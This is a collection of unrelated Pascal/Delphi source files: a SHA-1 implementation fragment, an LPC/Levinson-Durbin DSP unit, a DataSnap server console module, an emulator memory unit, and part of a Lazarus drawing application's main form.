Inc(FBlocksDigested);
/////////////////////////////////////////////////////////
{ Put it in the next one. }
NumBytesNeeded := 64 - SizeOf(MessageLength);
P := PLastBlock;
end;
FillChar(P^, NumBytesNeeded, 0);
Inc(P, NumBytesNeeded);
if FIsBigEndian then with TDoubleDWORD(MessageLength) do begin
// Swap the bytes in MessageLength.
with TFourByte(L) do begin
T := B1; B1 := B4; B4 := T;
T := B2; B2 := B3; B3 := T;
end;
with TFourByte(H) do begin
T := B1; B1 := B4; B4 := T;
T := B2; B2 := B3; B3 := T;
end;
// Swap the DWORDs in MessageLength.
T := L;
L := H;
H := T;
end;
Move(MessageLength, P^, SizeOf(MessageLength));
//////////////////////////////////////trasform sha1 block
Move(PLastBlock^, Xexpblk, 64);
for Jhi := Low(TSHABlock) to High(TSHABlock) do begin
with TFourByte(Xexpblk[Jhi]) do begin
Tchv := B1; B1 := B4; B4 := Tchv;
Tchv := B2; B2 := B3; B3 := Tchv;
end;
end;
for Jhi := 16 to 79 do begin
vari:=Xexpblk[Jhi - 3] xor Xexpblk[Jhi - 8] xor Xexpblk[Jhi - 14] xor Xexpblk[Jhi - 16];
Xexpblk[Jhi]:=DWORD(vari shl 1 or vari shr 31);
end;
Ach := PSHAChainingVarArray(PChainingVars)^[shaA];
Bch := PSHAChainingVarArray(PChainingVars)^[shaB];
Cch := PSHAChainingVarArray(PChainingVars)^[shaC];
Dch := PSHAChainingVarArray(PChainingVars)^[shaD];
Ech := PSHAChainingVarArray(PChainingVars)^[shaE];
for Jhi := 0 to 19 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + ((Bch and Cch) or (not Bch and Dch)) + Ech + Xexpblk[Jhi] + $5a827999;
Ech := Dch;
Dch := Cch;
Cch:= DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 20 to 39 do begin
Tchv:= DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $6ed9eba1;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 40 to 59 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch and Cch or Bch and Dch or Cch and Dch) + Ech + Xexpblk[Jhi] + $8f1bbcdc;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
for Jhi := 60 to 79 do begin
Tchv := DWORD(Ach shl 5 or Ach shr 27) + (Bch xor Cch xor Dch) + Ech + Xexpblk[Jhi] + $ca62c1d6;
Ech := Dch;
Dch := Cch;
Cch := DWORD(Bch shl 30 or Bch shr 2);
Bch := Ach;
Ach := Tchv;
end;
Inc(PSHAChainingVarArray(PChainingVars)^[shaA], Ach);
Inc(PSHAChainingVarArray(PChainingVars)^[shaB], Bch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaC], Cch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaD], Dch);
Inc(PSHAChainingVarArray(PChainingVars)^[shaE], Ech);
Inc(FBlocksDigested);
/////////////////////////////////////////////////////////
Move(PChainingVars^, PDigest^, 20);
if FIsBigEndian then begin
// Swap 'em again.
PD := PDigest;
for I := 1 to 20 div SizeOf(PD^) do begin
with TFourByte(PD^) do begin
T := B1; B1 := B4; B4 := T;
T := B2; B2 := B3; B3 := T;
end;
Inc(PD);
end;
end;
FCompleted := True;
end;
function ShB(const dig:tbd):string;
var i:integer;
begin
result:='';
for i:=0 to 19 do result:=result+chr(dig[i]);
end;
function IDBD(ID:TID):TBD; // sharesult
var i : integer;
begin
For i:=0 to 19 do Result[i]:=(ID[i div 4] shr ((3-(i-(i div 4)*4))*8))and $FF;
end;
end.
|
{$include kode.inc}
unit kode_lpc;
// http://www.musicdsp.org/showArchiveComment.php?ArchiveID=137
{
hmm... SetLength..
change to static arrays? or pointers..
}
//----------------------------------------------------------------------
interface
//----------------------------------------------------------------------
type
TDoubleArray = array of Double;
TSingleArray = array of Single;
//----------
procedure KAutoCorrelate(x,R:TSingleArray; P:Integer; lambda:Single; l:Integer=-1);
procedure KLevinsonRecursion(P:Integer; R,A,K:TSingleArray);
//----------------------------------------------------------------------
implementation
//----------------------------------------------------------------------
{
find the P-order autocorrelation array, R, for the sequence x of
length L and warping of lambda
}
procedure KAutoCorrelate(x,R:TSingleArray; P:Integer; lambda:Single; l:Integer=-1);
var
dl,Rt : TDoubleArray;
r1,r2,r1t : Double;
k,i : Integer;
begin
// Initialization
if l = -1 then l := Length(x);
SetLength(dl,l);
SetLength(Rt,l);
R[0] := 0;
Rt[0] := 0;
r1 := 0;
r2 := 0;
r1t := 0;
for k := 0 to l-1 do
begin
Rt[0] := Rt[0] + x[k] * x[k];
dl[k] := r1 - lambda * (x[k]-r2);
r1 := x[k];
r2 := dl[k];
end;
for i := 1 to P do
begin
Rt[i] := 0;
r1 := 0;
r2 := 0;
for k := 0 to L-1 do
begin
Rt[i] := Rt[i] + dl[k] * x[k];
r1t := dl[k];
dl[k] := r1 - lambda * (r1t-r2);
r1 := r1t;
r2 := dl[k];
end;
end;
for i := 1 to P do R[i] := Rt[i];
setlength(Rt,0);
setlength(dl,0);
end;
//----------
{
Calculate the Levinson-Durbin recursion for the autocorrelation sequence
R of length P+1 and return the autocorrelation coefficients a
and reflection coefficients K
}
procedure KLevinsonRecursion(P:Integer; R,A,K:TSingleArray);
var
Am1 : TDoubleArray;
i,j,s,m : Integer;
km,Em1,Em : Double;
err : Double;
begin
SetLength(Am1,62);
if R[0] = 0.0 then
begin
for i := 1 to P do
begin
K[i] := 0.0;
A[i] := 0.0;
end;
end
else
begin
for j := 0 to P do
begin
A[0] := 0;
Am1[0] := 0;
end;
A[0] := 1;
Am1[0] := 1;
km := 0;
Em1 := R[0];
for m := 1 to P do
begin
err := 0.0;
for j := 1 to m-1 do err := err + Am1[j] * R[m-j];
km := ( R[m] - err ) / Em1;
K[m-1] := -km;
A[m] := km;
for j := 1 to m-1 do A[j] := Am1[j] - km * Am1[m-j];
Em := (1-km*km) * Em1;
for s := 0 to P do Am1[s] := A[s];
Em1 := Em;
end;
end;
end;
//----------------------------------------------------------------------
end.
|
unit Server.Module.Container;
interface
uses System.SysUtils, System.Classes,
Datasnap.DSHTTPCommon, Datasnap.DSHTTP, Datasnap.DSSession,
Datasnap.DSServer, Datasnap.DSCommonServer, System.Generics.Collections,
IPPeerServer, IPPeerAPI, Datasnap.DSAuth, FireDAC.Stan.Intf,
FireDAC.Stan.Option, FireDAC.Stan.Error, FireDAC.UI.Intf, FireDAC.Phys.Intf,
FireDAC.Stan.Def, FireDAC.Stan.Pool, FireDAC.Stan.Async, FireDAC.Phys,
FireDAC.Phys.FB, FireDAC.Phys.FBDef, FireDAC.ConsoleUI.Wait, Data.DB,
FireDAC.Comp.Client;
type
TsmContainer = class(TDataModule)
DSServer: TDSServer;
DSHTTPService: TDSHTTPService;
dscGlobal: TDSServerClass;
dscProvider: TDSServerClass;
dscProduct: TDSServerClass;
dscReception: TDSServerClass;
procedure dscGetClass(DSServerClass: TDSServerClass;
var PersistentClass: TPersistentClass);
procedure DSServerDisconnect(DSConnectEventObject: TDSConnectEventObject);
procedure DataModuleCreate(Sender: TObject);
procedure DataModuleDestroy(Sender: TObject);
private
{ Private declarations }
ListofConnection : TDictionary<Integer, TFDConnection>;
public
function GetConnection : TFDConnection;
end;
var
smContainer: TsmContainer;
procedure RunDSServer;
implementation
{%CLASSGROUP 'System.Classes.TPersistent'}
{$R *.dfm}
uses
Server.Resource.Strings,
Server.Module.Global,
Server.Module.General,
Server.Module.Product,
Server.Module.Provider,
Server.Module.Reception;
procedure TsmContainer.DataModuleCreate(Sender: TObject);
begin
ListofConnection := TDictionary<Integer, TFDConnection>.Create;
end;
procedure TsmContainer.DataModuleDestroy(Sender: TObject);
begin
FreeAndNil(ListofConnection);
end;
procedure TsmContainer.dscGetClass(
DSServerClass: TDSServerClass; var PersistentClass: TPersistentClass);
begin
PersistentClass:= GetClass(StringReplace(DSServerClass.Name, 'dsc', 'Tsm', []));
end;
function BindPort(Aport: Integer): Boolean;
var
LTestServer: IIPTestServer;
begin
Result := True;
try
LTestServer := PeerFactory.CreatePeer('', IIPTestServer) as IIPTestServer;
LTestServer.TestOpenPort(APort, nil);
except
Result := False;
end;
end;
function CheckPort(Aport: Integer): Integer;
begin
if BindPort(Aport) then
Result := Aport
else
Result := 0;
end;
procedure SetPort(const Aserver: TsmContainer; const APort: string; AProtocol: DSProtocol);
var
IsPortSet: Boolean;
begin
IsPortSet := True;
if not (AServer.DSServer.Started) then
begin
if CheckPort(APort.ToInteger) > 0 then
begin
case AProtocol of
DSProtocol.HTTP: AServer.DSHTTPService.HttpPort := APort.ToInteger;
else
IsPortSet := False
end;
if IsPortSet then
Writeln(Format(sPortSet, [APort]))
else
Writeln(Format(sPortNotSet, [APort]));
end
else
Writeln(Format(sPortInUse, [Aport]));
end
else
Writeln(sServerRunning);
Write(cArrow);
end;
procedure StartServer(const AServer: TsmContainer);
var
LStart: Boolean;
begin
LStart := True;
if not (AServer.DSServer.Started) then
begin
if CheckPort(AServer.DSHTTPService.HttpPort) <= 0 then
begin
Writeln(Format(sPortInUse, [AServer.DSHTTPService.HttpPort.ToString]));
LStart := False;
end;
end
else
Writeln(sServerRunning);
if LStart then
begin
Writeln(sStartingServer);
AServer.DSServer.Start;
end;
Write(cArrow);
end;
procedure StopServer(const AServer: TsmContainer);
begin
if AServer.DSServer.Started then
begin
Writeln(sStoppingServer);
AServer.DSServer.Stop;
Writeln(sServerStopped);
end
else
Writeln(sServerNotRunning);
Write(cArrow);
end;
procedure WriteCommands;
begin
Writeln(sCommands);
Write(cArrow);
end;
procedure WriteStatus(const AServer: TsmContainer);
begin
Writeln(sActive + AServer.DSServer.Started.ToString(TUseBoolStrs.True));
Writeln(sHTTPPort + AServer.DSHTTPService.HttpPort.ToString);
Write(cArrow);
end;
procedure RunDSServer;
var
LModule: TsmContainer;
LResponse: string;
begin
LModule := smContainer;
try
if LModule.DSServer.Started then
Writeln(sServerIsRunning);
WriteCommands;
while True do
begin
Readln(LResponse);
LResponse := LowerCase(LResponse);
if sametext(LResponse, cCommandStart) then
StartServer(LModule)
else if sametext(LResponse, cCommandStatus) then
WriteStatus(LModule)
else if sametext(LResponse, cCommandStop) then
StopServer(LModule)
else if LResponse.StartsWith(cCommandSetHTTPPort) then
SetPort(LModule, LResponse.Replace(cCommandSetHTTPPort, '').Trim, DSProtocol.HTTP)
else if sametext(LResponse, cCommandHelp) then
WriteCommands
else if sametext(LResponse, cCommandExit) then
if LModule.DSServer.Started then
begin
StopServer(LModule);
break
end
else
break
else
begin
Writeln(sInvalidCommand);
Write(cArrow);
end;
end;
finally
LModule.Free;
end;
end;
procedure TsmContainer.DSServerDisconnect(
DSConnectEventObject: TDSConnectEventObject);
begin
if GetConnection <> nil then
GetConnection.Close;
end;
function TsmContainer.GetConnection: TFDConnection;
var
dbconn : TFDConnection;
begin
if ListofConnection.ContainsKey(TDSSessionManager.GetThreadSession.Id) then
Result := ListofConnection[TDSSessionManager.GetThreadSession.Id]
else
begin
dbconn := TFDConnection.Create(nil);
dbconn.Params.Clear;
dbconn.ConnectionDefName := 'Promharin';
ListofConnection.Add(TDSSessionManager.GetThreadSession.Id, dbconn);
Result := dbconn;
end;
end;
initialization
smContainer:= TsmContainer.Create(nil);
end.
|
Unit cwmem;
Interface
Uses
cwtypes, cwdbg, cwdisp;
Const
cwmem_dbg:boolean = false;
cw_mem_size = 10000 - 1;
Type
mem_p = ^mem_t;
mem_t = Array [0..cw_mem_size] Of Byte;
mmu_p = ^mmu_o;
mmu_o = Object (cw_base_o)
display: display_p;
disp_flag: Boolean;
memory: mem_p;
Constructor init;
Destructor done;
Procedure disp_on;
Procedure disp_off;
Procedure Write (adr: adress_t; b: Byte);
Function Read (adr: adress_t): Byte;
Procedure Writew (adr: adress_t; w: Word);
Function Readw (adr: adress_t): Word;
Procedure Writel (adr: adress_t; l: long);
Function Readl (adr: adress_t): long;
Procedure dump ( adr1, adr2: adress_t);
Private Function translate ( adr1: adress_t): adress_t;
End;
Implementation
Uses
util;
Constructor mmu_o. init;
Begin
dbg_start( cwmem_dbg, 'mmu_o. init');
disp_flag := False;
New ( memory );
FillChar (memory^, SizeOf (memory^) , 0);
dbg( cwmem_dbg, sizeof(memory^), 'bytes allocated.' );
display := Nil;
dbg_end( cwmem_dbg );
End;
Destructor mmu_o. done;
Begin
dbg_start( cwmem_dbg, 'mmu_o. done');
Dispose ( memory );
End;
Procedure mmu_o. disp_on;
Var
a: adress_t;
Begin
dbg_start( cwmem_dbg, 'mmu_o. disp_on');
New ( display, init);
For a := 0 To cw_mem_size Do
display^. disp_write (a, mmu_o. Read (a) );
disp_flag := True;
dbg_end( cwmem_dbg );
End;
Procedure mmu_o. disp_off;
Begin
dbg_start( cwmem_dbg, 'mmu_o. disp_off');
If disp_flag Then
display^. done;
disp_flag := False;
dbg_end( cwmem_dbg );
End;
Function mmu_o. translate ( adr1: adress_t): adress_t;
Var
temp: adress_t;
Begin
dbg_start( cwmem_dbg, 'mmu_o. translate');
temp := adr1;
While temp < 0 Do
Inc (temp, cw_mem_size);
While temp > cw_mem_size Do
Dec (temp, cw_mem_size);
translate := temp;
dbg_end( cwmem_dbg );
End;
Procedure mmu_o. dump;
Var
a, a0, a1: adress_t;
Begin
dbg_start( cwmem_dbg, 'mmu_o. dump');
If disp_flag Then Exit;
a := translate (adr1);
a0 := translate (adr2);
If a > a0 Then
Begin
a1 := a;
a := a0;
a0 := a1;
End;
While a <= a0 Do
Begin
system. Write (hex4 (a), ': ');
For a1 := a To a + $e Do
system. Write ( ' $', hex2 (mmu_o. Read ( a1) ) );
system. WriteLn;
Inc (a, $f);
End;
dbg_end( cwmem_dbg );
End;
Function mmu_o. Read (adr: adress_t): Byte;
Var
b: Byte;
Begin
dbg_start( cwmem_dbg, 'mmu_o. read');
b := memory^ [ translate ( adr ) ];
If disp_flag Then
display^. disp_read ( translate (adr), b );
Read := b;
dbg_end( cwmem_dbg );
End;
Procedure mmu_o. Write;
Begin
dbg_start( cwmem_dbg, 'mmu_o. write');
memory^ [ translate ( adr ) ] := b;
If disp_flag Then
display^. disp_Write ( translate (adr), b );
dbg_end( cwmem_dbg );
End;
Function mmu_o. Readw (adr: adress_t): Word;
Var
wd: Word;
Begin
dbg_start( cwmem_dbg, 'mmu_o. readw');
wd := Word ( mmu_o. Read ( adr + 1) ) ShL 8 + mmu_o. Read (adr);
dbg_end( cwmem_dbg );
End;
Procedure mmu_o. Writew;
Begin
dbg_start( cwmem_dbg, 'mmu_o. writew');
mmu_o. Write (adr, Lo (w) );
mmu_o. Write (adr+1, hi (w) );
dbg_end( cwmem_dbg );
End;
Function mmu_o. Readl (adr: adress_t): long;
Var
ld: long;
Begin
dbg_start( cwmem_dbg, 'mmu_o. readl');
ld := long ( mmu_o. Read ( adr + 3) ) ShL 24 +
long ( mmu_o. Read ( adr + 2) ) ShL 16 +
long ( mmu_o. Read ( adr + 1) ) ShL 8 +
mmu_o. Read (adr);
dbg_end( cwmem_dbg );
End;
Procedure mmu_o. Writel;
Begin
dbg_start( cwmem_dbg, 'mmu_o. writel');
mmu_o. writew (adr, Word (l And $0000ffff) );
mmu_o. writew (adr + 2, Word (l ShR 16) );
dbg_end( cwmem_dbg );
End;
Begin
End. |
unit davecad_main;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, FileUtil, Forms, Controls, Graphics, Dialogs, Menus,
ActnList, ComCtrls, ExtCtrls, StdCtrls, StdActns,
davecad_enum,
{$IFDEF XMLVersionLaz2}
laz2_XMLRead, laz2_DOM,
{$ELSE}
XMLRead, DOM,
{$endif}
davecad_file, davecad_error, lclintf, davecad_file_parser, davecad_renderer,
davecad_sheet_properties_form, davecad_about, math, types;
type
TFileState = (fsNoFile, fsLoadedInvalid, fsLoadedValidNoSheet, fsLoadedValid);
{ TfrmMain }
TfrmMain = class(TForm)
actAbout: TAction;
ilDrawTools: TImageList;
ilEditTools: TImageList;
ilColours: TImageList;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
lblZoom: TLabel;
miEditSheet: TMenuItem;
miDeleteSheet: TMenuItem;
miNewSheet: TMenuItem;
miSheet: TMenuItem;
Panel1: TPanel;
pnlToolbox: TPanel;
sbToolbox: TScrollBox;
SheetEdit: TAction;
SheetDelete: TAction;
SheetNew: TAction;
FileNew: TAction;
EditRedo: TAction;
FileClose: TAction;
FileSave: TAction;
MainActions: TActionList;
EditCopy1: TEditCopy;
EditCut1: TEditCut;
EditDelete1: TEditDelete;
EditPaste1: TEditPaste;
EditSelectAll1: TEditSelectAll;
EditUndo1: TEditUndo;
FileExit1: TFileExit;
FileOpen1: TFileOpen;
FileSaveAs1: TFileSaveAs;
smallIcons: TImageList;
MainMenu1: TMainMenu;
miNew: TMenuItem;
miDelete: TMenuItem;
miCut: TMenuItem;
miCopy: TMenuItem;
miPaste: TMenuItem;
miSelectAll: TMenuItem;
miUndo: TMenuItem;
miRedo: TMenuItem;
miExit: TMenuItem;
miAbout: TMenuItem;
miOpen: TMenuItem;
miSave: TMenuItem;
miSaveAs: TMenuItem;
miClose: TMenuItem;
miHelp: TMenuItem;
miEdit: TMenuItem;
miFile: TMenuItem;
pbDrawing: TPaintBox;
Panel2: TPanel;
Splitter1: TSplitter;
Status: TStatusBar;
tbDrawFree: TToolButton;
tbDrawingTool: TToolBar;
tbFelt: TToolButton;
tbMove: TToolButton;
tbPencil: TToolButton;
tbText: TToolButton;
tcSheets: TTabControl;
ToolBar1: TToolBar;
tbEditTool: TToolBar;
tbColours: TToolBar;
ToolBar3: TToolBar;
tbNew: TToolButton;
tbOpen: TToolButton;
tbSave: TToolButton;
ToolButton1: TToolButton;
tbCut: TToolButton;
tbCopy: TToolButton;
tbPaste: TToolButton;
ToolButton2: TToolButton;
tbDelete: TToolButton;
tbUndo: TToolButton;
tbRedo: TToolButton;
tbNewSheet: TToolButton;
tbDeleteSheet: TToolButton;
tbEditSheet: TToolButton;
tbLine: TToolButton;
tbRed: TToolButton;
tbBlue: TToolButton;
tbGreen: TToolButton;
tbBlack: TToolButton;
tpBallPoint: TToolButton;
tbZoom: TTrackBar;
procedure actAboutExecute(Sender: TObject);
procedure FileCloseExecute(Sender: TObject);
procedure FileNewExecute(Sender: TObject);
procedure FileOpen1Accept(Sender: TObject);
procedure FileOpen1BeforeExecute(Sender: TObject);
procedure FileSaveAs1Accept(Sender: TObject);
procedure FileSaveExecute(Sender: TObject);
procedure FormClose(Sender: TObject; var CloseAction: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure pbDrawingMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure pbDrawingMouseLeave(Sender: TObject);
procedure pbDrawingMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure pbDrawingMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure pbDrawingMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
procedure pbDrawingPaint(Sender: TObject);
procedure sbToolboxResize(Sender: TObject);
procedure SheetDeleteExecute(Sender: TObject);
procedure SheetEditExecute(Sender: TObject);
procedure SheetNewExecute(Sender: TObject);
procedure tbDrawingToolClick(Sender: TObject);
procedure tbEditingToolClick(Sender: TObject);
procedure hintMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer
);
procedure tbColourClick(Sender: TObject);
procedure tcSheetsChange(Sender: TObject);
procedure TOpenDialogShow(Sender: TObject);
procedure tbZoomChange(Sender: TObject);
private
{ private declarations }
procedure pbDrawText(pbtext: string);
procedure pbDrawTextTwoLine(pbtext: string; pbtext2: string);
procedure SelectSheet(sheet: string);
procedure rescan();
function canEdit: boolean;
public
{ public declarations }
procedure changeSheetProps(oldSheetName, newSheetName, newSheetAuthor, newSheetDate, newSheetMedia: string);
end;
var
frmMain: TfrmMain;
loadedFile: TDaveCadFile;
errors: TDaveCadMessageList;
fileState: TFileState;
fileWasSaved: boolean;
drawingTool : integer;
edittingTool : integer;
selectedColour: integer;
mouseIsDown, doTool: boolean;
firstX, firstY: integer;
tempObj: TDaveCADObject;
implementation
{$R *.lfm}
{ TfrmMain }
procedure FileError (E: EXMLReadError);
begin
errors.addMessage(E.Message);
end;
procedure TfrmMain.FileOpen1Accept(Sender: TObject);
begin
//clear errors list
errors.clear;
//load a file (this might add things to the error list)
try
loadedFile.loadFile(FileOpen1.Dialog.FileName);
finally
end;
//If we had errors
if not errors.isEmpty then
//show the errors
errors.showMessages(mtError);
//if the loaded file is valid...
if loadedFile.isValid then begin
//set the state to valid no sheet, then check for sheets and update if needed
fileState:=fsLoadedValidNoSheet;
if loadedFile.hasSheets then
fileState:=fsLoadedValid;
rescan;
end else
begin
//file is not valid
fileState:=fsLoadedInvalid;
end;
pbDrawing.Invalidate; //redraw now that a new file is loaded.
end;
procedure TfrmMain.FileOpen1BeforeExecute(Sender: TObject);
begin
FileClose.Execute; //before opening something, close the current file
end;
procedure TfrmMain.FileSaveAs1Accept(Sender: TObject);
begin
loadedFile.newFileName(FileSaveAs1.Dialog.FileName);
loadedFile.save;
fileWasSaved := true;
end;
procedure TfrmMain.FileSaveExecute(Sender: TObject);
begin
if (fileState = fsLoadedValidNoSheet) or (fileState = fsLoadedValid) then begin
if loadedFile.save then begin
FileSaveAs1.Execute;
end else
begin
fileWasSaved := true;
end;
end else
begin
showError(DCAD_ERROR_FILE_NOT_SAVEABLE);
fileWasSaved := false;
end;
end;
procedure TfrmMain.FormClose(Sender: TObject; var CloseAction: TCloseAction);
begin
FileClose.Execute;
if not fileWasSaved then
CloseAction := caNone;
end;
procedure TfrmMain.FileCloseExecute(Sender: TObject);
var answer: TModalResult;
begin
if ((fileState = fsLoadedValidNoSheet) or (fileState = fsLoadedValid)) and loadedFile.IsModified then begin
answer := askQuestion(DCAD_QUES_UNSAVED_CHANGES);
case answer of
mrYes: begin
fileWasSaved := false;
FileSave.Execute; //Save file before loading new one.
if not fileWasSaved then
exit;
end;
mrNo:{Nothing to do, allow file to be discarded};
mrCancel: begin
fileWasSaved:=false;
exit;
end;
end;
end;
loadedFile.Free;
loadedFile := TDaveCadFile.create(@FileError);
fileState:=fsNoFile;
pbDrawing.Invalidate;
tcSheets.Tabs.Clear;
fileWasSaved := true;
end;
procedure TfrmMain.actAboutExecute(Sender: TObject);
begin
frmAbout.Show;
end;
procedure TfrmMain.FileNewExecute(Sender: TObject);
begin
FileClose.Execute;
loadedFile.new;
// fileState:=fsLoadedValidNoSheet;
fileState:=fsLoadedValid;
rescan;
end;
procedure TfrmMain.FormCreate(Sender: TObject);
begin
loadedFile := TDaveCadFile.create(@FileError);
errors := TDaveCadMessageList.create;
errors.setHead('DaveCAD Error');
fileState:=fsNoFile;
fileWasSaved := true;
drawingTool := 0;
edittingTool := 0;
pbDrawing.canvas.Brush.Style:= bsClear;
initRenderer;
end;
procedure TfrmMain.FormDestroy(Sender: TObject);
begin
loadedFile.Free;
errors.Free;
if assigned(tempObj) then begin
tempObj.Free;
tempObj := nil;
end;
freeRenderer;
end;
function TfrmMain.canEdit:boolean;
var sheets: TDaveCADSheetList;
sheet: TDaveCADSheet;
begin
result := false; //not editable until further notice
if fileState = fsLoadedValid then begin //if we have a loaded file and it is valid...
//get all sheets
sheets := loadedFile.getSheets;
//find the selected sheet
sheet := TDaveCADSheet.create;
sheet.assign(sheets.sheet[loadedFile.Session.SelectedSheet]);
//we don't need sheets any more
sheets.Free;
//if the selected sheet exists then we can edit it! YAY!
if sheet <> nil then begin
result := true;
sheet.Free;
end;
end;
end;
procedure TfrmMain.pbDrawingMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if canEdit then begin
mouseIsDown := true;
firstX := X;
firstY := Y;
case edittingTool of
EDIT_TOOL_TEXT: doTool:=true;
end;
end;
end;
procedure TfrmMain.pbDrawingMouseLeave(Sender: TObject);
begin
mouseIsDown:=false;
doTool := false;
end;
procedure TfrmMain.pbDrawingMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var //origin: TPoint;
sheet: TDaveCADSheet;
sheets: TDaveCADSheetList;
i: integer;
cursorPos : TPoint;
tWidth, tHeight: integer;
begin
Status.Panels[0].Text := ''; //clear the hint from the status bar
if mouseIsDown then begin
case edittingTool of
EDIT_TOOL_LINE: begin //draw line
doTool := true;
if assigned(tempObj) then begin
tempObj.Free;
tempObj := nil;
end;
sheets := loadedFile.getSheets;
sheet := TDaveCADSheet.create;
sheet.assign(sheets.sheet[loadedFile.Session.SelectedSheet]);
sheets.Free;
tempObj := TDaveCADObject.Create;
tempObj.Name:=OBJECT_LINE;
tempObj.point1 := cursorToDrawingPoint(firstX, firstY, sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale);
tempObj.point2 := cursorToDrawingPoint(X, Y, sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale);
tempObj.colour:=selectedColour;
tempObj.tool:=drawingTool;
pbDrawing.Invalidate;
sheet.free;
end;
EDIT_TOOL_DRAWFREE: begin //draw freehand
sheet := TDaveCADSheet.create;
sheet.loadFrom(TDOMElement(loadedFile.getSheet(loadedFile.Session.SelectedSheet)));
loadedFile.addObject(OBJECT_LINE, loadedFile.Session.SelectedSheet, drawToolName(drawingTool), colourName(selectedColour), firstX, firstY, X, Y, getOrigin(sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale));
firstX := X;
firstY := Y;
sheet.Free;
pbDrawing.Invalidate;
end;
end;
end;
case edittingTool of
EDIT_TOOL_MOVE: begin
if canEdit then begin
sheet := TDaveCADSheet.create;
sheet.loadWithObjectFrom(TDOMElement(loadedFile.getSheet(loadedFile.Session.SelectedSheet)));
if assigned(tempObj) then begin
tempObj.Free;
tempObj := nil;
pbDrawing.Invalidate;
end;
for i:= 0 to sheet.objectCount-1 do begin
with sheet.objects[i] do begin
if Name = OBJECT_TEXT then begin
cursorPos := cursorToDrawingPoint(X, Y, sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale);
tWidth := getTextWidth(sheet.objects[i], pbDrawing.Canvas, loadedFile.Session.scale);
tHeight := getTextHeight(sheet.objects[i], pbDrawing.Canvas, loadedFile.Session.scale);
if (originX <= cursorPos.x)
and (originY <= cursorPos.y)
and ((tWidth+originX) >= cursorPos.x)
and ((tHeight+originY) >= cursorPos.y)
then begin
if assigned(tempObj) then begin
tempObj.Free;
tempObj := nil;
end;
tempObj := TDaveCADObject.Create;
tempObj.Name:=OBJECT_LINE;
tempObj.point1 := point1;
tempObj.point2 := point1;
tempObj.point1Y := tempObj.point1Y + tHeight;
tempObj.point2Y := tempObj.point2Y + tHeight;
tempObj.point2X := tempObj.point2X + tWidth;
tempObj.colour:=COLOUR_BLACK;
tempObj.tool:=DRAW_TOOL_BALLPOINT;
pbDrawing.Invalidate;
end;
end else
begin
if Name = OBJECT_LINE then begin
end;
end;
end;
end;
sheet.Free;
end;
end;
EDIT_TOOL_TEXT: begin
if assigned(tempObj) then begin
tempObj.Free;
tempObj := nil;
end;
tempObj := TDaveCADObject.Create;
tempObj.Name:=OBJECT_TEXT;
tempObj.point1 := point(round((firstX)/loadedFile.Session.scale), round((firstY)/loadedFile.Session.scale));
tempObj.colour:=selectedColour;
tempObj.tool:=drawingTool;
tempObj.Text:='test';
pbDrawing.Invalidate;
end;
end;
end;
procedure TfrmMain.pbDrawingMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var sheet: TDaveCADSheet;
begin
if mouseIsDown and doTool then begin
case edittingTool of
EDIT_TOOL_LINE: begin //draw freehand
sheet := TDaveCADSheet.create;
sheet.loadFrom(TDOMElement(loadedFile.getSheet(loadedFile.Session.SelectedSheet)));
loadedFile.addObject(OBJECT_LINE, loadedFile.Session.SelectedSheet, drawToolName(drawingTool), colourName(selectedColour), firstX, firstY, X, Y, getOrigin(sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale));
sheet.Free;
end;
EDIT_TOOL_TEXT: begin
sheet := TDaveCADSheet.create;
sheet.loadFrom(TDOMElement(loadedFile.getSheet(loadedFile.Session.SelectedSheet)));
loadedFile.addObject(OBJECT_TEXT, loadedFile.Session.SelectedSheet, drawToolName(drawingTool), colourName(selectedColour), X, Y, 0, 0, getOrigin(sheet, pbDrawing.Width, pbDrawing.Height, loadedFile.Session.scale), 'test');
sheet.Free;
end;
end;
pbDrawing.Invalidate;
end;
mouseIsDown:=false;
doTool := false;
end;
procedure TfrmMain.pbDrawingMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
begin
loadedfile.Session.scale:= loadedfile.Session.scale + (wheeldelta / 1000);
if loadedFile.Session.scale > 2 then loadedFile.Session.scale := 2;
if loadedFile.Session.scale < 0.01 then loadedFile.Session.scale := 0.01;
tbZoom.Position:= round(loadedFile.Session.scale * 100);
pbDrawing.Invalidate;
end;
procedure TfrmMain.pbDrawText(pbtext: string);
var
pbtop, pbleft: integer;
begin
pbtop := round((pbDrawing.Height/2) - (pbDrawing.Canvas.TextHeight(pbtext)/2));
pbleft := round((pbDrawing.Width/2) - (pbDrawing.Canvas.TextWidth(pbtext)/2));
pbDrawing.Canvas.TextOut(pbleft,pbtop,pbtext);
end;
procedure TfrmMain.pbDrawTextTwoLine(pbtext: string; pbtext2: string);
var
pbtop, pbleft: integer;
